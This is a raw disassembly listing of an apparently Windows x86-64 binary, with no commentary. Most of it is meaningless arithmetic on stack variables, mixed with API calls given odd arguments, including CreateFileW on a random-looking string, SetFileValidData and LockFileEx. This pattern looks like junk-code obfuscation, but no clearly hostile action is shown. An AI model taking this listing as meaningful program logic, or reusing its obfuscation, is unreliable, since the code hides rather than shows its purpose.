mov dword [rsp + 0x38], 0x61
mov dword [rsp + 0x30], 0x74
mov rax, qword [rsp + 0x13e68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x5f
mov r9d, 0x9d
mov r8d, 0xfa
mov edx, SHDoDragDrop
mov rcx, qword [rsp + 0x13e70]
call qword [sym.imp.GDI32.dll_StretchBlt]
mov dword [rsp + 0xa234], eax
mov eax, dword [0x140282690]
sub eax, 0x21a8
mov dword [0x140282690], eax
movsx eax, byte [rsp + 0x62e]
imul eax, eax, 0x71
cmp eax, 0x3c
jg 0x140015628
mov cx, 0xc2
call fcn.140208bb0
jmp 0x140015654
movzx eax, byte [rsp + 0x4f2]
sar eax, 6
mov byte [rsp + 0x4f2], al
mov eax, dword [0x140282690]
mov dword [rsp + 0xa238], eax
mov eax, 0x5ea
mov word [rsp + 0x2b24], ax
lea rax, [0x140282690]
mov qword [rsp + 0x13e78], rax
movzx eax, byte [rsp + 0x4f2]
cdq
mov ecx, 0x79
idiv ecx
mov byte [rsp + 0x285], al
mov eax, dword [rsp + 0xa238]
mov dword [0x14028eec8], eax
mov dword [rsp + 0xa23c], 0xc1a3
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa240], eax
cmp dword [rsp + 0xa240], 0x1621
je 0x1400156c6
cmp dword [rsp + 0xa240], 0x1628
je 0x140208ae7
jmp 0x140208b00
movzx eax, byte [rsp + 0x285]
mov byte [rsp + 0xa244], al
cmp byte [rsp + 0xa244], 0x3f
je 0x1400156e1
jmp 0x140015727
movsx eax, word [rsp + 0x2b24]
shl eax, 0xb
mov word [rsp + 0x2b24], ax
movsx eax, byte [rsp + 0x62e]
sub eax, 5
mov byte [rsp + 0x62e], al
movzx r8d, word [rsp + 0x2b24]
mov edx, dword [rsp + 0xa238]
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rax]
call fcn.140208d00
jmp 0x140015757
mov eax, 0x790
mov word [rsp + 0x2b28], ax
movzx eax, word [rsp + 0x2b24]
mov word [rsp + 0x2b2c], ax
mov eax, dword [rsp + 0x9e40]
add eax, 0xf7cb
mov dword [rsp + 0x9e40], eax
movzx eax, byte [rsp + 0x62e]
mov byte [rsp + 0xa248], al
cmp byte [rsp + 0xa248], 0x1c
je 0x140015783
cmp byte [rsp + 0xa248], 0x2d
je 0x14001582e
jmp 0x140015853
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [0x14028eec8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [0x140282690]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa238]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
lea r9, [rsp + 0x13e68]
mov r8d, 0xf8
mov edx, DrawInsert
mov rcx, qword [rsp + 0x13e80]
call qword [sym.imp.GDI32.dll_GetPaletteEntries]
mov dword [rsp + 0xa24c], eax
movzx eax, byte [rsp + 0x62e]
mov byte [rsp + 0x20], al
movzx r9d, byte [rsp + 0x62e]
movzx r8d, byte [rsp + 0x62e]
movzx edx, byte [rsp + 0x62e]
movzx ecx, byte [rsp + 0x62e]
call fcn.140208ca0
jmp 0x140015853
mov r9d, dword [rsp + 0xa24c]
mov r8d, dword [rsp + 0xa24c]
movzx edx, byte [rsp + 0x285]
movzx ecx, word [rsp + 0x2b24]
call fcn.140208d50
mov eax, dword [rsp + 0xa24c]
mov dword [rsp + 0xa250], eax
mov dword [rsp + 0xa254], 0xdbb9
movzx eax, word [rsp + 0x2b28]
mov dword [rsp + 0xa258], eax
cmp dword [rsp + 0xa258], 0x790
je 0x14001588a
jmp 0x1400158eb
lea rax, [rsp + 0x62e]
mov qword [rsp + 0x13e88], rax
movsx eax, word [rsp + 0x2b24]
mov dword [rsp + 0xa25c], eax
cmp dword [rsp + 0xa25c], 0x99
je 0x1400158b8
jmp 0x1400158e9
movzx eax, word [rsp + 0x2b28]
add eax, 0xdbe
mov word [rsp + 0x2b28], ax
mov eax, dword [0x14028eec8]
mov ecx, dword [0x140282690]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
call fcn.140208c60
jmp 0x14001591e
mov eax, dword [rsp + 0xa24c]
movzx ecx, al
mov eax, dword [rsp + 0xa250]
shr eax, cl
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [0x140282690]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa238], eax
movzx eax, word [rsp + 0x2b28]
mov word [rsp + 0x2b30], ax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
xor eax, ecx
mov byte [0x140281da7], al
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x4f2]
shl eax, cl
mov byte [rsp + 0x2d7], al
mov dword [rsp + 0xa260], 0x85f6
mov eax, dword [rsp + 0x9e40]
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa264], eax
mov dword [rsp + 0xa268], 0xdf71
movzx eax, word [rsp + 0x2b2c]
mov word [rsp + 0x2b34], ax
movzx eax, byte [rsp + 0x4f2]
movzx ecx, byte [rsp + 0x285]
and eax, ecx
movzx ecx, byte [rsp + 0x2d7]
cmp eax, ecx
jne 0x140208a84
cmp dword [rsp + 0xa254], 0xa3b0
jb 0x140015cf0
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x2d7]
sub eax, ecx
mov byte [rsp + 0x4f2], al
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [rsp + 0xa24c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa264]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa264]
mov ecx, dword [0x14028eec8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
movzx eax, word [rsp + 0x2b28]
shl eax, 0xf
mov word [rsp + 0x2b30], ax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x4f2]
or eax, ecx
mov byte [rsp + 0x2d7], al
mov eax, dword [rsp + 0xa254]
sub eax, 0x97
mov dword [rsp + 0xa254], eax
mov eax, dword [0x14028eec8]
mov ecx, dword [rsp + 0xa238]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
mov eax, dword [rsp + 0x9e40]
movzx ecx, al
mov eax, dword [rsp + 0xa250]
shr eax, cl
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa264]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa238]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140282690], eax
movzx eax, word [rsp + 0x2b30]
sub eax, 0x99c
mov word [rsp + 0x2b28], ax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x2d7]
add eax, ecx
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [0x140281da7]
sub eax, ecx
mov byte [rsp + 0x62e], al
movsx eax, word [rsp + 0x2b2c]
movsx ecx, word [rsp + 0x2b34]
add eax, ecx
mov word [rsp + 0x2b24], ax
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [rsp + 0xa24c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa238]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa264], eax
movzx eax, word [rsp + 0x2b30]
add eax, 0x385
mov word [rsp + 0x2b28], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa26c], eax
movsx eax, byte [rsp + 0x62e]
movsx ecx, byte [0x140281da7]
sub eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
or eax, ecx
mov byte [0x140281da7], al
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
mov eax, dword [rsp + 0xa264]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x13e90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13e90]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa238], eax
mov eax, dword [rsp + 0x9e40]
movzx ecx, al
mov eax, dword [rsp + 0xa250]
shl eax, cl
mov dword [rsp + 0xa24c], eax
movzx eax, byte [rsp + 0x4f2]
movzx ecx, byte [rsp + 0x2d7]
and eax, ecx
mov byte [rsp + 0x285], al
movzx eax, word [rsp + 0x2b28]
sub eax, 0xf5e
mov word [rsp + 0x2b30], ax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa264]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa238], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa264]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0x9e40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
jmp 0x1400159c9
movsx eax, word [rsp + 0x2b2c]
movsx ecx, word [rsp + 0x2b24]
add eax, ecx
mov word [0x140282694], ax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa238]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7d08], eax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0xa250]
and ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x9e40]
jb 0x140015d4e
mov rax, qword [rsp + 0x13e88]
movzx ecx, byte [rax]
call fcn.140208b40
mov eax, dword [rsp + 0xa264]
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
add eax, ecx
movsx ecx, byte [0x140281da7]
cmp eax, ecx
jne 0x140015dfa
movsx eax, word [rsp + 0x2b34]
movsx ecx, word [rsp + 0x2b2c]
shl eax, cl
mov word [rsp + 0x2b24], ax
movsx eax, byte [0x140281da7]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x62e], al
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x2d7]
sub eax, ecx
mov byte [rsp + 0x4f2], al
movzx eax, word [rsp + 0x2b30]
and eax, 0xf5b
mov word [rsp + 0x2b28], ax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0xa250]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
jmp 0x140015e42
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [0x140282690]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
mov eax, dword [rsp + 0xa250]
mov dword [0x14028eec4], eax
lea rax, [rsp + 0x285]
mov qword [rsp + 0x13e98], rax
movzx eax, word [rsp + 0x2b28]
mov word [rsp + 0x2b38], ax
mov dword [rsp + 0xa274], 0xc3ea
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x4f2]
sub eax, ecx
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x2d7]
add ecx, edx
cmp eax, ecx
jne 0x140208a3b
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa278], eax
lea rax, [rsp + 0x7d08]
mov qword [rsp + 0x13ea0], rax
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [rsp + 0xa24c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
movzx eax, word [rsp + 0x2b30]
movzx ecx, word [rsp + 0x2b38]
add eax, ecx
mov word [rsp + 0x1840], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa27c], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x285]
and eax, ecx
mov byte [rsp + 0x2d7], al
movzx eax, word [rsp + 0x2b28]
mov dword [rsp + 0xa280], eax
cmp dword [rsp + 0xa280], 0x450
je 0x140015f27
cmp dword [rsp + 0xa280], 0x8385
je 0x140015f49
jmp 0x140208a1f
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa264]
shl eax, cl
mov dword [rsp + 0x7d08], eax
jmp 0x140208a1f
lea rax, [rsp + 0x62e]
mov qword [rsp + 0x13ea8], rax
mov dword [rsp + 0xa284], 0xb185
movsx eax, word [rsp + 0x2b34]
movsx ecx, word [rsp + 0x2b24]
cdq
idiv ecx
movsx ecx, word [rsp + 0x2b2c]
movsx edx, word [0x140282694]
or ecx, edx
cmp eax, ecx
jge 0x140016034
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.XAwcv0X9qNwkmgQ2m2MeT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x13eb0], rax
movsx eax, word [rsp + 0x2b34]
movsx ecx, word [rsp + 0x2b24]
sar eax, cl
mov word [rsp + 0x2b2c], ax
mov dword [rsp + 0xa288], 0xe521
lea rax, [rsp + 0x2b28]
mov qword [rsp + 0x13eb8], rax
mov dword [rsp + 0x24350], 0x114
movzx eax, byte [rsp + 0x2d7]
mov byte [rsp + 0x62f], al
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
lea rcx, [0x140283588]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b3c], ax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov dword [rsp + 0xa28c], eax
cmp dword [rsp + 0xa28c], 0x6aa
je 0x14001607e
cmp dword [rsp + 0xa28c], 0xcb9
je 0x1400160fb
jmp 0x140016156
mov eax, dword [0x14028eec4]
mov ecx, dword [rsp + 0xa250]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
movzx ecx, byte [rsp + 0x62e]
call fcn.140208b40
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028eec8], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa278], eax
jmp 0x140016156
call fcn.140208c60
mov qword [rsp + 0x20], SHSetInstanceExplorer
mov r9, qword [rsp + 0x13ec0]
mov r8, qword [rsp + 0x13ec8]
mov rdx, qword [rsp + 0x13ed0]
mov rcx, qword [rsp + 0x13ed8]
call qword [sym.imp.USER32.dll_CreateDialogParamW]
mov qword [rsp + 0x13ee0], rax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f2]
add eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov word [rsp + 0x2b40], ax
mov eax, dword [rsp + 0xa238]
mov dword [rsp + 0xa290], eax
cmp dword [rsp + 0xa290], 0
je 0x140016186
jmp 0x140208995
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov dword [rsp + 0xa294], eax
cmp dword [rsp + 0xa294], 0x8385
je 0x1400161aa
jmp 0x14020885b
mov eax, dword [rsp + 0xa24c]
imul eax, dword [rsp + 0xa250]
mov dword [rsp + 0x9e40], eax
mov dword [rsp + 0xa298], 0xe070
cmp dword [rsp + 0xa284], 0xffd2
jae 0x14001671a
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x13ee8], rax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa278]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x2b3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b44], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f2]
sub eax, ecx
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b30]
add eax, ecx
mov word [rsp + 0x1840], ax
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [0x14028eec4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x13ef0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ef0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa238], eax
mov eax, dword [rsp + 0xa270]
mov ecx, dword [rsp + 0xa264]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa238], eax
mov edx, 0x3354c0
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa29c], eax
mov eax, dword [0x140282690]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x13ef8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13ef8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
and eax, ecx
mov rcx, qword [rsp + 0x13ea8]
mov byte [rcx], al
movsx eax, byte [rsp + 0x62e]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281da7], al
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4f2]
add eax, ecx
mov byte [rsp + 0x2d7], al
movzx eax, word [rsp + 0x2b38]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b30], ax
mov eax, dword [rsp + 0x9e40]
mov ecx, dword [rsp + 0xa250]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa2a0], eax
movzx eax, byte [rsp + 0x62f]
movzx ecx, byte [rsp + 0x285]
and eax, ecx
mov rcx, qword [rsp + 0x13e98]
mov byte [rcx], al
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x62f]
add eax, ecx
mov byte [rsp + 0x4f2], al
movzx eax, word [rsp + 0x1840]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b38], ax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13ea0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa238], eax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0xa24c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13ea0]
mov qword [rsp + 0x13f00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f00]
mov eax, dword [rax]
sar eax, cl
mov dword [0x140282690], eax
mov eax, dword [rsp + 0xa270]
mov ecx, dword [0x140282690]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
movzx eax, byte [rsp + 0x2d7]
movzx ecx, byte [rsp + 0x285]
xor eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b28]
shl eax, cl
mov word [rsp + 0x2b38], ax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0x9e40]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov eax, dword [rsp + 0x7d08]
mov ecx, dword [rsp + 0xa270]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62e], al
lea rdx, [rsp + 0xa2a0]
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa26c], eax
movsx eax, word [0x140282694]
movsx ecx, word [rsp + 0x2b24]
sub eax, ecx
mov word [rsp + 0x2b2c], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x175a
mov r9d, 0x3500
mov r8d, 0x6525112e
mov edx, 1
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa2a4], eax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x62f]
add eax, ecx
mov byte [rsp + 0x2d7], al
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0xa24c]
add ecx, eax
mov eax, ecx
mov dword [0x14028eec4], eax
movsx eax, byte [0x140281da7]
mov rcx, qword [rsp + 0x13ea8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa270]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa238], eax
mov eax, dword [rsp + 0xa284]
add eax, 0xd3
mov dword [rsp + 0xa284], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa270]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13f08], rax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0xa250]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa270]
sar eax, cl
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x62f]
or eax, ecx
mov byte [rsp + 0x2d7], al
movzx eax, word [rsp + 0x2b40]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1840], ax
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa27c], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa278]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa264], eax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0x9e40]
and ecx, eax
mov eax, ecx
mov dword [0x14028eec4], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [0x140282690]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d08], eax
jmp 0x1400161cb
lea rax, [rsp + 0xa270]
mov qword [rsp + 0x13f10], rax
movzx eax, word [rsp + 0x2b40]
movzx ecx, word [rsp + 0x2b38]
add eax, ecx
mov word [rsp + 0x2b28], ax
lea rax, [rsp + 0x62f]
mov qword [rsp + 0x13f18], rax
movsx eax, word [rsp + 0x2b34]
movsx ecx, word [rsp + 0x2b24]
add eax, ecx
mov word [rsp + 0x1948], ax
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2b24]
sub eax, ecx
movsx ecx, word [0x140282694]
movsx edx, word [rsp + 0x2b34]
sub ecx, edx
cmp eax, ecx
jge 0x140016878
mov rax, qword [rsp + 0x13ea8]
movzx eax, byte [rax]
mov byte [rsp + 0x630], al
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa250], eax
mov eax, dword [rsp + 0xa270]
mov dword [rsp + 0xa2a8], eax
mov eax, dword [rsp + 0xa264]
mov ecx, dword [rsp + 0xa238]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov edx, dword [rsp + 0xa278]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jne 0x140016878
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b40]
or eax, ecx
mov word [0x140282698], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1840]
sar eax, cl
mov word [rsp + 0x2b40], ax
mov dword [rsp + 0xa2ac], 0xc3a0
mov eax, dword [rsp + 0x9e40]
movzx ecx, al
mov eax, dword [rsp + 0xa250]
shl eax, cl
mov dword [rsp + 0x84a4], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0xa2a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa278], eax
mov eax, dword [0x140282690]
mov dword [rsp + 0xa2b0], eax
mov eax, dword [rsp + 0xa250]
mov ecx, dword [rsp + 0x84a4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa24c], eax
movzx eax, word [rsp + 0x2b30]
movzx ecx, word [rsp + 0x1840]
add eax, ecx
mov word [rsp + 0x2b28], ax
movzx eax, byte [rsp + 0x2d7]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x62f], al
mov rax, qword [rsp + 0x13f10]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282690], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7d08], eax
mov eax, dword [rsp + 0xa24c]
mov ecx, dword [rsp + 0xa250]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa270]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa298]
sub eax, 0x4d
mov dword [rsp + 0xa298], eax
movsx eax, byte [0x140281da7]
movsx ecx, byte [rsp + 0x62e]
and eax, ecx
mov byte [rsp + 0x630], al
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13e78]
mov qword [rsp + 0x13f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x13f20]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x13f28]
mov rdx, qword [rsp + 0x13f28]
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa2b4], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b30]
xor eax, ecx
mov word [rsp + 0x1840], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x62f], al
mov eax, dword [rsp + 0x9e40]
movzx ecx, al
mov eax, dword [rsp + 0x84a4]
shl eax, cl
mov dword [0x14028eec4], eax
mov rax, qword [rsp + 0x13f10]
